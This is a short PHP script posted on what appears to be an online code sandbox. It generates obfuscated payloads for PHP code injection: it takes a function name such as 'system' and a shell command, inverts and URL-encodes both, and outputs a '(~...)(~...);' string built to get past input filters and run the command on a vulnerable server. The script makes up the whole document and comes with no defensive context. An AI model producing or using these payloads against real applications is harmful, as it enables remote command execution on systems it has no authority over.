Hi! Could we please enable some services and cookies to improve your experience and our website?
Online Sandbox for SQL and PHP: Write, Run, Test, and Share SQL Queries and PHP Code
<?php
fwrite(STDOUT, '[+] your function: ');
$system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
if (empty($system)) {
fwrite(STDOUT, "Error: Function name cannot be empty.\n");
exit(1);
}
fwrite(STDOUT, '[+] your command: ');
$command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
if (empty($command)) {
fwrite(STDOUT, "Error: Command cannot be empty.\n");
exit(1);
}
echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
?>